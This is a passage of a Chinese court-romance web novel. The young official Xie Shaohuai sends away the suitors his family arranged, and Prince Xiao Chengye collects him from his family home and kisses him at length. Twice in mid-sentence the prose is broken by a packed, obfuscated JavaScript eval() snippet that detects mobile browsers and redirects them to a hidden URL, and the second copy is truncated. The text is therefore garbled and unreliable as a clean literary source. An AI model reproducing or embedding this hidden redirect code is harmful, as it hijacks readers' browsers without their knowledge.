“殿下要抱抱下官吗?”谢少淮立着不动,也没有所动作表示,僵硬地说道:“或者……”接吻也可以。 谢少淮的话音未落,面前的少年倏地紧紧将他拥入怀中,方才被风吹散的酒气又凝聚起来,萦绕在谢少淮鼻息间。 萧承野抱很紧,贴的很近。 谢少淮第一次感觉到少年对自己强势的一面,甚至有些承受不住少年。 “少淮兄……”少年紧紧环抱着谢少淮,像极了饮鸩止渴的鱼想将人与自己融为一体,又怕太紧了弄疼对方,只能轻轻抱着,鼻子探在他的颈侧,轻轻吮吸那清淡的墨香,最后他还是借着酒意,蹭了蹭谢少淮细腻的颈肉,喃喃道:“少淮兄为何你身上总是香香的。” 谢少淮有点受不住:“……” 僵硬说道:“用的澡豆香了些。” 谢少淮也是第一次与人这般亲近,少年桎梏的怀抱让他有些喘不上气,尤其是脖子里,温热的气息一股股往他身体里钻,后颈发麻的感觉一点都不好。 但是他主动要求少年抱抱自己,也不好让他松开。 抱了一会儿,萧承野主动松开了谢少淮,满面春光地看着青年:“好了……” 但萧承野并未感觉谢少淮的紧张,可能他自己更紧张,只支支吾吾问道:“小王抱的还可以吧?” 谢少淮很不爽:“……” 谢少淮:“尚可。” 说罢,谢少淮蹙了蹙眉心,不自在地拢了拢自己的袍子:“时间不早了,殿下不宜夜不归宿,还是要早些回去。” “好。”萧承野点了点头,听话地就要转身出门,一只脚都迈出去了,他又想起了什么,回头看着房间的青年:“少淮兄,以后小王可以唤你少淮吗?私下称呼,就小王和少淮兄独处的时候唤,可以吗?” 谢少淮:“嗯……” “那,那我便回去了。”萧承野改了称谓,不再自称小王,改成了平等的“我”其实他还是希望谢少淮唤他承野的,不过暂时还不着急。 萧承野:“少淮,寝安。” 谢少淮:“……” “寝安。” 翌日朝廷休沐,谢少淮便先回了趟家,打算和父亲母亲说一下三哥为他挑选的赘婿的事情。 谢家自出了谢五郎被革职的事情后,门上看客便逐渐稀疏,就连谢父谢母之前给谢少淮说亲的几家,也都用各种借口推脱,最后不了了之。 但除此之外,谢家其他的几个郎君还未受到牵连,谢三郎和谢四郎依旧任一县的太守,二郎还在外地担任地方要旨,西北地带大大小小的农民起义事件,还是由谢父做主举荐人员前去镇压。 局势还算缓和,他如今也不必太着急做什么,还是先看圣上的动作。 眼下,三哥找的那几人也在长安住了有些日子,他是不怕那些说他好男人找赘婿等污言秽语,但是父亲母亲年纪大了,嘴上说为了他的身子什么都不在乎,但心里还是愧疚的。 青松今日也早早起来了,伺候完公子便随着公子同行回老宅,一路上他发现公子都在看书,眉心平展,面色和悦,似乎心情不错。 青松打了个哈欠,乐呵呵地回眸看着他家公子,“公子,您今天好像心情很好?” 谢少淮:“……” 谢少淮闻言合上了自己手上的古籍,脑海不由想起昨夜萧承野环抱他时的情绪,十七八岁的少年人,情爱之事虽没接触过,却也知道表达怎么自己的感情。 谢少淮又不禁像,可若萧承野天子下的胞弟,自小在长安娇生惯养,只怕姬妾和同房丫头遍地了,又如何会对他一个男人上心?可惜萧承野只是一个舞姬生的儿子,长在军规严苛的卫家营里,没见过什么美人,他勾勾手指就贴上去了。 如此轻松就和萧承野的关系更近一步,之后更是解决了两个最棘手的问题,但谢少淮却没有自己想象中的开心。 “嗯,”谢少淮应了青松一句,垂了垂眸思忖了少顷,又问道:“青松,你若知道这世上有预知未来之人?或,若你是预知未来之人,你当如何?” “啊?”青松闻言,眼睛都瞪圆了,预知未来?那岂不是掌握了发大财的秘密,于是他拍拍胸脯道:“公子问的能预知未来之人青松不得知,但是若青松能预知未来会发生何事,那青松要将公子给的赏钱去做生意,然后挣钱买大宅子,然后再向城东李员外家的梨枝姑娘下聘!但是最最最重要的是,宅子要买的公子宅子边上,青松以后想伺候公子一辈子,青松的儿子孙子,祖祖辈辈都伺候公子!” 谢少淮:“……” 谢少淮不禁被青松逗笑,“城东李员外家的梨枝姑娘?那好,等明年你过了冠礼,我便去李员外家下喜帖,将梨枝姑娘给您娶回家来。” 感觉自己被套路的青松:“。” 青松:“公子您别开青松玩笑了,青松现在如何给梨枝姑娘好生活,待公子成家了,青松再说成家的事儿也不迟,届时青松的月钱也要多了呢。” 掌家的管事要比普通小厮高多很多倍,但是一般高门大户的管事都是自小伺候主人长大的,也就是说他家公子不成婚不生孩子,他就一辈子当不了一宅管事。 但是青松的月钱相比其他公子身边的小厮,已经多出不少了,所以青松现在还是很满足的! 谢少淮笑了笑:“罢了,你有你的计划也好。” 青松嘿嘿笑了两声,说罢,又将事情转回到他家公子说的正题上,“不过,公子怎么突然问起青松这个?” 谢少淮淡淡道:“只是偶然翻看到一本话本,便随口一问。” “公子常教青松,说为人要老实本分,”青松认真想了想道:“若是青松真的能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115968|164156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 预知未来断不会因为自己的利益去做伤害他人的事情!” 青松又道:“不过话本上的东西大多都是杜撰的,公子不是经常告诫青松不要乱看小话本吗?怎么公子还受其影响了?” 谢少淮眸子不由沉了沉,“当局者迷。” 说罢,谢少淮提醒老实回眸看他的青松:“专心看路。” 回到谢宅,家里不似往日清净,谢五郎革职在家休养,他的性格最是咋呼,加上父母都在,府上难得热闹了几分,谢少淮到家的时候,刚过了辰时,走进内院,便见母亲带着一众奴仆喊五哥起床。 这时候在谢少淮身边的青松喊了谢母一声:“夫人,六公子回来了。” 谢母正叉着腰拍门,闻言扬起来的手僵在了半空,回眸看去,连廊下青年一袭素衣,瘦骨伶仃的,不是他的六郎又是谁? 谢母连连提着裙摆从谢五郎房门离开,朝着谢少淮小碎步跑来,一边走一边挥手吩咐身边的丫头:“快快快,别让老爷睡懒觉了,就说我儿少淮回来了。” 谢少淮:“……” 青松:“…………” 谢父和谢五郎简直如出一辙。 “我儿终于有时间看母亲了!”谢母一把拽着谢少淮的手,左右上下看了一圈:“哎呦,怎么就几日没见,又消瘦了一圈啊?太医署的补药没吃吗?还是课业太忙了没时间好好吃饭啊?” 谢少淮摇了摇头:“孩儿无碍,也没瘦,母亲记错了。” 谢母:“罢了罢了,你这孩儿总是报喜不报忧,今日晌午在家用膳,母亲亲手下厨,给你做鱼吃!” 说罢,谢少淮随着母亲往前堂去,这时候方才在房间里赖床的谢五郎听到了动静,衣服都没穿好就冲出来了。 见谢少淮和母亲的背影,谢五郎连连喊人:“六弟!你可算有时间来看五哥了!!!” 谢五郎说罢边跑边穿自己的衣服,待走到谢少淮身边,一把勾住青年的脖子,得意洋洋地把人从母亲手里抢了过去:“母亲不是要做饭,孩儿要吃红烧肉,母亲快去!” 谢母给谢五郎一个白眼,“罢了罢了,今日你就是占了你六弟的光,好生照看少淮,母亲去厨房了。” 谢少淮目送母亲离开,随后拍了拍谢五郎的手,示意人别勾肩搭背,“少淮此来,有件事要麻烦五哥。” 谢五郎挑眉,吹口哨看着谢少淮:“呦,你有嘛事儿?” 谢少淮:“三哥为少淮寻来的那几个赘婿,如今还住在长安,五哥下午得空不放帮少淮送去些银两,将人都遣散回去。” 谢五郎:“?” 谢五郎:“送回去?你不用了?” 谢少淮点了点头,想来萧承野年轻气盛,也够为他缓解情毒了,至于生孩子的事儿,他暂不知萧承野的谋反计划到哪一步了,若真打起仗来,持续数年还是有的,届时想要彻底扳倒反贼,他定要深入虎穴才能博得其深信,若是能提前将叛乱扼杀在摇篮,届时他想要孩子,再找回来便是。 谢少淮点了点头。 谢五郎却脸色骤变:“…………” 谢少淮要强的性子谢五郎最清楚,原先父亲母亲提起找赘婿的时候,谢少淮虽然嘴上答应,但心明显不在这上面,而且他都听说了这几日谢少淮压根只和那几个人见了一面,还是那几人找上门去才见到的。 他六弟机智过人,看不上这些人也正常,但是不能因为面子丢命不是?! 思及此,谢五郎随即松开了人,大喊一句:“爹,娘!六郎不治病了!!!” 13. 第 13 章 谢五郎压根没有给谢少淮解释的机会,听了话就自己判断,叫嚷着就朝着前厅跑去,谢少淮无言,看着谢五郎远去的眉心,叹了口气快步追上去:“五哥,且听少淮解释——” 谢少淮哪里追的上在长乐宫当了好几年禁军统领的谢五郎,他步伐稳健,一抹素衣飘飘,等追到谢五郎的时候已然到了正堂。 这时候,方才谢母身边去喊谢父的小厮刚好将还没起床的谢父喊了过来,谢五郎一通大喊大叫,步履匆匆的谢父还没见到谢少淮的人,就听见了他不治病的事儿。 谢父本就因为托幺儿去梁王府做卧底一事愧疚,没走到正堂,便听见五郎说六郎不准备治病了,老将痛心疾首,老泪差点飙出来:“我儿!” 待谢父走到正堂,推开房门,刚好见谢少淮也从后院过来,脸色有几分急促,上前去阻拦五郎。 “六郎!”谢父一把将身边的小厮推开,朝着谢少淮走去,到了青年跟前,大手一挥:“万万不可!万万不可啊!” 谢少淮素日里规行矩步,文质彬彬,眼下当着父亲的面,他如何再做不敬兄长的事情来,只好退后一步,抬手看着一脸愁容的父亲:“父亲,孩儿并未……” 谢父摇了摇头,示意谢少淮不必多言:“我儿委屈啊!” 谢五郎之前在宫里当差,梁王又经常进宫陪伴太后,此人的性格谢五郎最是了解,原先宫里的刘公公宣旨的时候,谢五郎俨然已说梁王此人乖张放肆,六郎今日来府,却说不再治病,除了是在梁王府受了屈辱,还能是什么?! 思及此,谢父拉着谢五郎的手,痛哭流涕:“天要亡吾谢氏——” 谢五郎:“。” 谢五郎无语:“爹你哭什么?” 谢五郎本来扶着老爹正要细说,谁知老爹叽里呱啦说出来一堆他听不懂的话,父子二人相互抱着对方的手臂,面面相觑。 谢父:“我谢家要绝后啊!” 谢五郎纳闷:“爹你瞎说什么?六郎不赘婿,我谢家还不至于断后吧?” 谢父:“。” 谢父:“我儿只是不招赘婿?” 谢父:“不对!” 梁王和西北起义军的事情,谢父只告诉了谢少淮一人,方才听五郎说六郎不治病了,六郎性子坚韧,怎么会因为要迎娶赘婿的事情就失去斗志,肯定是因为梁王又有动向—— 谢父思及此,正打算打发谢五郎,这时候一旁根本插不上嘴的谢少淮终于找到机会,上前将父亲和五哥拉来:“父亲,五哥且听少淮解释——” 谢五郎闻言,叉腰看着谢少淮,“你你你有什么好解释的,哥哥我早就看出来了,你压根就不喜欢三哥找的那几个赘婿,眼下长安城内满城风雨,六弟你一定是被这些流言伤透了心!” 谢少淮:“……” 谢父:“。” 谢父这才反应过来,原来不是因为梁王,六郎的性格他了解,绝不是因为流言就干扰自己的人,随即他大手一挥,笑道:“不可能!绝对不可能!” 谢少淮无奈扶额,一口气把话说完:“爹,五哥,少淮只是有了心仪之人,暂且无需招赘婿了,这些日子因为这件事闹得家里不可开交,儿子今日前来,便想让五哥出面,将那几个人送回去。” 谢五郎:“。” 谢父:“。” “哦,原来如此原来如此!”谢父闻言吁了一口气,随即瘫坐在凳子上,长吁了口气:“我儿何不早说有了心仪之人,吓得老夫以为……” 谢五郎:“……” 谢五郎咂了咂舌,有点后悔方才太冲动,便看着谢少淮有些不少意思道:“嗐,六郎你真是的,你有了情郎不早说,吓死五哥了。” 谢少淮:“……” 谢少淮不欲再解释什么,拱手给父亲五哥赔了礼:“都是少淮没说清楚——那这件事便麻烦五哥了。” “不麻烦不麻烦,”谢五郎吃了杯茶压惊,后知后觉才反应过来,方才谢少淮说已有心仪之人,立马起身盯着身边很淡很淡的淡人——谢少淮。 谢五郎挑眉,看着谢少淮吹了口口哨,随即又示意一旁的谢父,道:“爹,你刚才听清楚了吧?六弟说他有了心仪之人哦!” 谢父醍醐灌顶,剑眉一飞,同谢五郎一样,好奇地看着谢少淮:“是啊,老夫没有听错,我家少淮,竟然有心仪之人了?” 谢少淮:“……” 谢少淮和萧承野事情不宜告诉太多人,家里本就是只有舅舅和父亲知道梁王要反的事情,父亲让他留在萧承野身边打探消息,因此已对他多有愧疚,若是知道他要和萧承野睡觉解毒,怕不是更加内疚。 双亲年事已高,他身为家中男儿,已到了为谢家抗事的年纪,思及此,谢少淮只是点了点头,弱化这个问题:“只是原先在辽州认识的一个儒生,寒门出身,祖上曾是先朝皇室养马的小官,如今家道中落,在地方给人做幕僚。” 谢少淮说罢,谢父点了点头,倒是想起来前些日子谢少淮从涿州回来向他二哥举荐了一个叫什么什么的男子,只是他二哥远在他乡,他们两个孩子相隔几百里,如何解燃眉之急? 谢父还想再多问几句,但思及此事是六郎的私事,既然已经有了心仪之人,那事情也好办,等再过些日子看看陛下和梁王的动向,度过这场浩劫,再为两个孩子操办婚事也不晚。 “那好,我儿长大了……”谢父话说到一半,谢五郎打断了二人道:“六弟既然有了喜欢的人,爹你就别问了——快正午了,六郎和五哥去看看母亲去?” 说着,谢五郎起来就要拉谢少淮,谢父点头示意两个还去玩闹去,谢少淮这才起身,行了礼跟谢五郎出了门。 结果甫一出门,谢五郎就勾着谢少淮的脖子,道:“六郎,你骗得了爹可骗不了五哥,你说的心仪之人,怕不是正在长安吧?” 谢少淮自小被五哥带大,他们兄弟二人确实更了解对方的想法,见五哥看出来,谢少淮便也没有再说什么,只道:“待时机成熟,六郎自会和五哥说是谁。” 谢五郎无言,淡淡道:“行吧。” 兄弟二人说着,朝着家里的小厨房过去,走到一半又看见谢母带着一众丫头急匆匆地走了过来。 谢母方才正在做菜,却听身边的嬷嬷说六郎和谢父在正堂说遣散赘婿的事情,六郎的身子特殊,怎么能因为面子不治病呢! 一见兄弟二人,谢母就涕泣连连,小手一挥:“万万不可,万万不可啊!治病最要紧!” 谢少淮:“……” 谢五郎:“…………” 谢少淮又耐心和母亲解释了一遍,方才在父亲面前说过的话,复述给了谢母,谢五郎打哈哈替谢少淮圆了这件事,一家四口这才其乐融融吃了顿午饭。 席散,谢少淮需要离开,去梁王府上授课,这些日子谢少淮风雨兼程,除了谢五郎出事的那几日,几乎没有断过。父子二人以心照不宣,共同面对这次政局波动。 只是昨日,吏部从工部调了几个人手去,顶上了谢少淮本来吏部侍郎的职位,其实自谢少淮去了梁王府任职,兼了梁王师保的位子,侍郎一职便空了下来,但陛下一直没提及找人替上的事情,不知为何昨日突然想起了这件事。 犹豫片刻,谢父还是将这件事告诉了谢少淮。 谢少淮任吏部侍郎一职两年有余,还曾兼辽东巡抚,去辽州考察地方举荐的官吏,工作虽然艰苦,但谢少淮喜欢,如今这职位没了,只剩下一个梁王师保的虚职,谢父怕谢少淮接受不了。 “父亲说,任职之人是冠英侯家的庶子?”谢少淮本还无意,他既然已经是梁王的师保,不管挂不挂吏部侍郎的职位,这个工作他暂时都没办法做的,但自己经营两年多的职位,陛下竟然派去了冠英侯的庶子。 不学无术的草包周崇已经够顽劣了,那周二郎乃是一个娼妓所生之子,素日里只会逛花楼吃花酒,这么一个酒囊饭袋,却得了一个能为朝中挑选官吏的职位——谢少淮不得不细思。 谢父叹了口气:“确实不错,吏部已经下了诏书,想来明日上朝那厮就要就职了,可惜我儿的一番作为,竟为这厮做了嫁衣。” “无碍,”辽州一趟出巡,事与愿违,谢少淮暂时无力做自己想做的事,一切随他去就是,眼下最要紧的还是萧承野和卫家:“孩儿在梁王府很好。” “六郎就别骗爹娘了。”谢五郎闻言摇了摇头,“梁王在琢州的时候不服管教的性子就很出名了,五哥之前在长乐宫的时候可见过那小子不少次,冷着个脸,跟丢了几锭金子似得。” 谢父闻言,一巴掌拍在谢五郎头上:“那是梁王殿下,你你你休要出言不敬!” “爹,这是咱们家里,他还能上门接六郎不成?”谢五郎躲过去,换了位置,坐在谢母身边,“眼下家里又没别人,孩儿还不能说了?” “真是委屈我六郎了,”谢母闻言,遮目轻泣了两声:“你五哥说的对,那梁王性子顽劣,你在梁王府上这么都日子,一句不好的话也没和家里说,你教爹娘如何不担心你啊。” 谢少淮:“……” 谢少淮正要出言解释,这时候门前却传来了敲门声。青松着急忙慌地从前院跑了过来,“老爷夫人,梁王殿下过来接公子了,眼下就在府前呢!” 谢父谢母:“。” 谢五郎:“不是?真来接了?” 自古为亲王授课的师保,去府上授课前,都要沐浴焚香,提前到好久候着,规矩礼仪暂且如此,梁王还是那种不服管教的顽劣之辈,他他他怎么会上门来接人? 此刻,谢府外,梁王府的轿撵停在正门中央,少年立在马车前,谢府的门房和管事战战兢兢地邀请人进去,但少年连眼神都不曾给一个,只说在门前等着就是。 不仅如此,少年还说让他家六公子不要着急,吃饱了饭再出来。 梁王何等身份,在谢家待了半辈子的门房和管事什么朝廷要臣都见过,可唯独没见过亲王亲临,他们只知道面前的人不能怠慢,见少年不肯进去,他们也不敢进门,只好侯在一旁,让青松进去传话了。 萧承野昨晚一整晚没睡好,勉强闭眼休息了一个时辰,实在等不下去,便先去了谢少淮独居的府上,但是却扑了个空,得知人一早来了谢家老宅,他又犹豫了好久,才架着马车过来。 太尉府和冠英侯府没多远的距离,除此之外淮山候晋中侯等等朝中要臣,在长安的府邸都在此处,萧承野的身份不便亲自过来,但是他……想早点见少淮兄。 萧承野只到了没多久,谢府的人就发现他了,此刻他进退两难,他不想打扰少淮兄吃饭,见门口两个管事不肯进去,萧承野掀了掀眼皮,冷道了一句:“进去,关上门。” 门房:“。” 管事:“。” 萧承野薄唇微启,“小王说了,不准打扰师保用餐,听不懂?” 只是,他方说罢,便见从大门前急促促出现几道人影,萧承野很快就在人群里找到了一抹素色,正是谢少淮。 好像真的打扰他吃饭了。 谢五郎满脸不爽地搀扶着父亲,一家人整整齐齐出了门,还未见到人,谢父挥袖,准备行礼:“殿下光临寒舍,下官有失远迎,还望殿下恕罪!” 谢少淮不知萧承野为何突然过来,只得随父亲前去迎人,待走到门前,他便见少年靠在一辆雕花精致的轿子旁,脸色有些不太好。 谢父谢母带着谢五郎谢少淮跪了一地,众人的话音都没落下,只见一抹身影直挺挺地走了过来,随后抬手将地上的谢父扶了起来:“太尉大人不必多礼,小王贸然打扰,实在抱歉——” 说罢,萧承野抿唇看着谢父身边的谢少淮,道:“小王是来接师保的。” - 谢少淮在父母和兄长无比震惊的目送下跟着萧承野上了马车,随后便朝着梁王府的方向去。 车子刚行驶出去,驾着车的萧承野就主动开了口,他不知谢少淮会不会介意他过来,但事先并没有通知,总归不对,“少淮兄,小王是不是打扰你用餐了?” 谢少淮:“……” 谢少淮掀开帘子,挪到了轿前的位置,垂眸看着架车的少年,“没有。” 萧承野回眸,看着谢少淮一眼,与他对视上又挪开眸子:“哦。” 萧承野犹豫少顷,又问:“那少淮昨夜休息的可好?” “很好。”谢少淮说着,目光落在少年有些发乌的眼睑下,显然萧承野问他这一句是因为他自己昨夜没睡好——至于为何没睡好,结果不言而喻。 闹事上人多,谢少淮不想惹人围观,只是掀着帘子看着萧承野,关切道:“殿下似乎没有休息好,一会儿可以小睡一会儿。” 萧承野:“嗯。” 接下来的路程,两人并未再多说什么,萧承野带着帷帽驾车,并未引起太多人围观,到了梁王府前来迎接的人也不似往日的多,仅有刘总管和一个门房在守着。 少年交代了刘总管一会儿将谢府小厮的马车牵去马厩,随后两人便如往常一样一起进了书房。 其实谢少淮昨夜休息的也不好。 他有些低估自己对情爱之事的接受程度,萧承野走后,他身上带来的一缕酒气似乎久久不散,到了后半夜,谢少淮才勉强合上眼。 两人进房间后空气中似弥漫着一股尴尬,谢少淮动手整理自己带来的古籍,萧承野就侯在一旁的书案前,两人目光不断触碰,却不知该说些什么。 最后,谢少淮把自己的东西收拾好后,抬眸看向少年:“殿下可还适应与下官这么相处?若是觉得为难——” “没有。”萧承野也察觉自己让少淮兄有些尴尬了,只是他不知该如何对待少淮兄,“少淮,你方便称呼我的名字吗?” 萧承野抿了抿薄唇,又道:“少淮以后可以唤我承野。” 谢少淮:“……” 点了点头:“承野。” “少淮。”萧承野笑了笑,就直勾勾的看着谢少淮,“少淮你生的甚美。” 谢少淮:“……” 萧承野不喜儒术,谢少淮每日过来给少年教授的东西也都是一些前朝旧时的礼仪或兵书战术等等,两人都心照不宣走师徒的过场,谢少淮心中自然也没有为人师表引诱徒儿的负罪感。 谢少淮闻言淡淡一笑,“殿下谬赞了。” 说罢,谢少淮思忖少顷,还是将自己案前的书挪了下去,随后看向身旁的少年,微微挑眉看着他:“阿野既然愿帮少淮解毒生子,那昨日少淮说的培养感情之事阿野如何考虑的?” 萧承野是认真思考过的,“愿意的。” 萧承野说着,也不在隐藏自己对谢少淮的喜欢,他正色看着谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧承野点了点头,但是没有再主动抱谢少淮,而是脱下了靴子上了塌,随后拉着谢少淮的手,两人就盘坐在榻上,谢少淮不明所以,还没问些什么,萧承野就扣住了他的手:“少淮,以后我带你出去走走行吗?” 自谢少淮来了梁王府后,萧承野便两点一线,不再出门瞎逛,也断不敢和周崇那几个人来往,每日除了进宫给太后皇兄请安,就是跟着谢少淮在王府看些兵书——不过这些不是他喜欢的生活,他仔细思考过,或许他为了少淮可以这么过,但是这么生活,少淮永远不清楚他的为人、他的习性,若想长久的在一起,组建家庭,他应该不要太过拘束。 他会骑马射鹰能打球投壶,或者弹琴作画总之他喜欢的东西,他想带少淮一起做,自然,少淮若是喜欢做什么,他也愿意陪着。 萧承野:“长安城内繁华似锦,小王想多带少淮出门,小王有很多很多少淮没见过的一面。” 谢少淮并不抗拒出门,相反做梁王师保前,他天南海北都曾游历,“好,那现在能休息一会儿了吗?” “嗯……”萧承野一笑,点了点头,然后俯身过去,在谢少淮额上也落下一吻:“那小王抱着少淮休息。” 说罢,萧承野抱着谢少淮躺下,乖乖合上眼睛,但是情绪高涨,怎么都睡不着,他垂眸便能看见,青年安静地躺在他身边,身上的那股淡淡的墨香萦绕在他鼻腔,久久不散。 萧承野的手轻轻搭在谢少淮的腰上,他只觉得青年的腰身要窄,似乎一掌就能握住,又感觉他的脸好生白净,脖子修长,一抹素衣都没他的肤色白,很好看。 谢少淮自然也睡不着,但他也没睁眼,阖眸安静躺着,记事起他就没和别人一起睡过,也是第一次和男人这么亲近,虽然他不喜欢萧承野,但这么大一个人抱着他,还是很难忽视。 半个时辰,两人都没休息好。 最后还是谢少淮先睁开了眼,见少年微微跳动的眼皮,就知道萧承野也没睡,“殿下,心思难静,你睡着了吗?” 谢少淮的话都没说完,少年就睁开了眼,看着谢少淮浅笑了声:“未曾,小王觉得抱着少淮好生不真实,睡不着。” 谢少淮:“……” 和谢少淮猜想的差不多,萧承野第一次和喜欢的人亲近,自然比他情绪难平:“那不如出去走走?” 萧承野轻轻环着谢少淮的手,“嗯……” 说罢,萧承野又滚了滚喉,又突然道:“少淮,我想吻你。” 谢少淮:“……” 谢少淮方才主动吻了萧承野的脸颊,少年方才上床的时候也吻了他的额,他已经在尽快发展和萧承野的感情了,没想到萧承野竟然比他着急的多。 但是说实话,谢少淮真的太高估自己对与他人做亲近之事的接受能力了,他不敢想象,若是这时候自己身边躺的是三哥找的赘婿,要对他行周公之礼,自己会不会一巴掌打上去。 但是对面是萧承野,少年眼下对他还算尊敬,但骨子里张扬的性格还是在的,不然之后也不会强要了他,更不会紧在两年后就性情大变,对他做各种过分之事。 谢少淮内心挣扎很久,但最终还是点了点头,可就在他刚才同意,少年的手就捧住了他的脸颊,随后唇上一软,少年炙热的气息就铺面而来。 萧承野捧着他的后脑勺,竟直接吻在他的唇上! 谢少淮愣神了,有些不知所措,手轻轻揪着少年的衣襟,想推开他又怕推开了人自己不知如何解释,便只能清楚地感受着少年的唇在他唇上游离。 萧承野浅尝辄止,只贴了一下,就拉开距离,吁了口气,垂眸看着谢少淮被他吻过的模样——青年双眸微微睁开,脸色甚至有些发怔,但似乎并不抗拒,呼吸之间还露出一点洁白皓齿。 好美。 少淮好美。 萧承野有些紧张地滚了滚喉,插在青年发丝里的手不禁有些发烫,不知是怎么了,他看着青年的唇,又鬼父神差地吻了上去,学着画册上的画面,张开唇喊住了那柔软的唇肉。 想吻他。 想舔他。 谢少淮几乎没缓过来,就被少年翻身压在身下,接着唇齿被撬开,滑溜溜的舌头探进他的口腔快速扫荡一圈儿——少年又咬又吮,将他的唇瓣吸的发麻,又将他桎梏在榻上,不让他回避分毫。 萧承野入迷,舔了舔谢少淮的发红的唇瓣,真挚道:“少淮,小王好喜欢你。” “别……太重。”谢少淮要被亲晕了,实在招架不住,只能被迫张着嘴承受:“别吻太急了殿下。” 萧承野也是第一次让谢少淮感觉到了强势和霸道和不可掌控感,与他梦中对他强制欢爱的人影渐渐重合,竟然让他生出几分畏惧。 萧承野应道:“那小王轻一点。” 谢少淮:“……” 良久,谢少淮被舔的急了,才推搡了一下少年,萧承野也察觉自己太激动了,便赶紧松开了谢少淮,抿唇,手肘支着,垂眸看着被亲的双眸迷离的青年。 谢少淮蹙了蹙眉:“殿下,要休息一下。” “抱歉……”萧承野音色带着歉意,应下谢少淮的话,给了青年很久的喘息时间。 可等谢少淮的呼吸渐渐平稳,萧承野又忍不住抵着他的额,用唇轻轻蹭来一下他的唇,胸膛快速起伏着,像是求爱的野兽:“少淮,小王还想再来一次,可以吗?” 14. 第 14 章 谢少淮是真的有些畏惧的,他用手抵在少年的胸口,鸦羽垂着,粉白饱满的唇瓣此刻被吮吸的绯红,“殿下不是说要出门转转?” “改日也可……”少年像是打开了宝藏,眼里只有怀里的谢少淮,与平日在青年面前规行矩步的样子大为反差。 但是萧承野刚刚说罢,就有些后悔了,觉得自己好像有点像求爱的公兽,实在太冒犯:“少淮,我是不是有些冒进?” 谢少淮抬眸,想说的话到了嘴边又咽了下去,萧承野亟一些也好,“不是说好了培养感情,纾解欲望也是一种办法……殿下轻一些就好。” 说罢,谢少淮微微侧过去脸,浓密的长睫微微垂下。青年一袭素袍早在两人相拥拉扯时弄得凌乱,一缕青丝顺着修长的颈部垂下,轻轻搭在微微扯开的胸前,那块白的发光的细腻肌肤像是一块完美的和氏璧。 萧承野几度克制,最后还是将吻落在青年唇上,插在他发丝里的手扣着那饱满的后脑勺,托着青年的头自己同时又撬开他的皓齿,在青年口腔里扫荡完,还食髓知味地将那微微发红的唇瓣舔了好几遭——最后两人皆精疲力尽,谢少淮摊在少年怀里,衣带都被扯松了。 “甜的。”萧承野恋恋不舍地松开谢少淮的唇,将人揽在怀里,鼻尖抵着他的额角,心砰砰跳个不停:“少淮的唇甜的。” 谢少淮:“……” 折腾了这么久,谢少淮是真的乏了,也顾不上应付萧承野的话,长睫微微启开又快速合上,最后彻底闭上眼,“殿下说什么胡话……” 很快,怀里的人发出平缓的喘息,萧承野舔了舔青年的额角,垂眸看去的时候,谢少淮已经睡着。 青年的发髻松了,衣衫松了,唇被吻的殷红,就连脖颈里都是亮晶晶的口水——萧承野蹙了蹙眉心,轻轻将人放下,随手找了快柔软的帕子,将谢少淮脖子里的水渍擦拭了一下,然后又上床环住了他的腰身。 好像是梦一样。 萧承野抱着人,时不时垂眸看他两眼,即便一整夜没睡好,此刻他还是精神的不行,因为他怀里抱着谢少淮……他方才和少淮兄接吻了还舔了他的身子…… 萧承野抬手轻轻抚过青年微红的唇瓣,睡梦中的人受了刺激一样微微皱了皱眉,他赶紧收手,因多年持·枪的原因,他的手上带着茧子,这么粗糙的东西碰到少淮,一定不会舒服。 思及此,萧承野不在乱碰青年,俯身又吻上轻轻舔着他的唇。 真的,很甜。 谢少淮醒来的时候已经不知道什么时辰,不知为何他这次睡的很沉,睁眼甫一入眼的是少年那张带着些歉意的脸庞,随后就是玉珠帘后的已经沉下的暮色。 他这是睡到晚上了? 谢少淮刚一抬手,坐在小塌边上的萧承野便主动抬手给他拢了拢身上的袍子,“少淮你醒了,入夜天凉,我给你披上了我的袍子,要吃些东西吗?” 谢少淮:“……” 还没张嘴,唇瓣上就传来细微的痛感,手腕因为长时间推着萧承野还有些发酸,无一不在告诉他,方才的几个时辰里,他和面前的人发生了什么。 谢少淮起身,手握着柔软的毛皮大氅,道:“没事。” 谢少淮:“什么时辰了?殿下怎么不叫醒我?” 萧承野收了手,“才刚过酉时,都怪小王孟浪……少淮你先用膳吧,小王让人备了些素菜,想来你会喜欢。” 谢少淮:“……” 亲也亲了,抱也抱了,甚至还同眠了几个时辰,谢少淮的目的也达到了,没什么理由再在这里待着,且今日他是真的累了。 谢少淮起身,将自己身上的大氅解下,“不必了,天色不早了。” 萧承野看着青年解下自己的大氅,心里莫名有些失落,但是青年似乎观察到了,向他解释了一句:“少淮是臣,在殿下面前无礼就罢了,出了梁王府的门,下官便是梁王师保,一举一动都要符合礼数。” 萧承野点了点头:“好……” 萧承野也不好强留人,毕竟按照以往的时间,青年这时候早该回去了,思及此他将谢少淮解下的大氅扔在一边,“那我送少淮出去。” 谢少淮:“嗯。” 谢少淮随着少年一起出了门,还未到前厅便听见了青松的声音,过去的时候青松正乐呵呵和刘管事说话。 今日正午谢少淮被萧承野接走,青松便自己驾着车过来接人,岂料这一等就是三个多时辰,见公子出来,青松给二人行了礼,“公子今日好晚呢,青松还以为要留宿呢。” 梁王府一旁候着的丫头小厮听这句没有好奇,但一旁候着的刘管事却像是被点了穴,闻言不禁抬眸看了看在书房待了一下午的两人。 刘管事:“谢师保才名远播,殿下得了大人多时教导,学业一定飞升。” 谢少淮眉心倏然紧蹙。 多时教导,确实算的上,他们在榻上最少也荒唐了一个时辰。 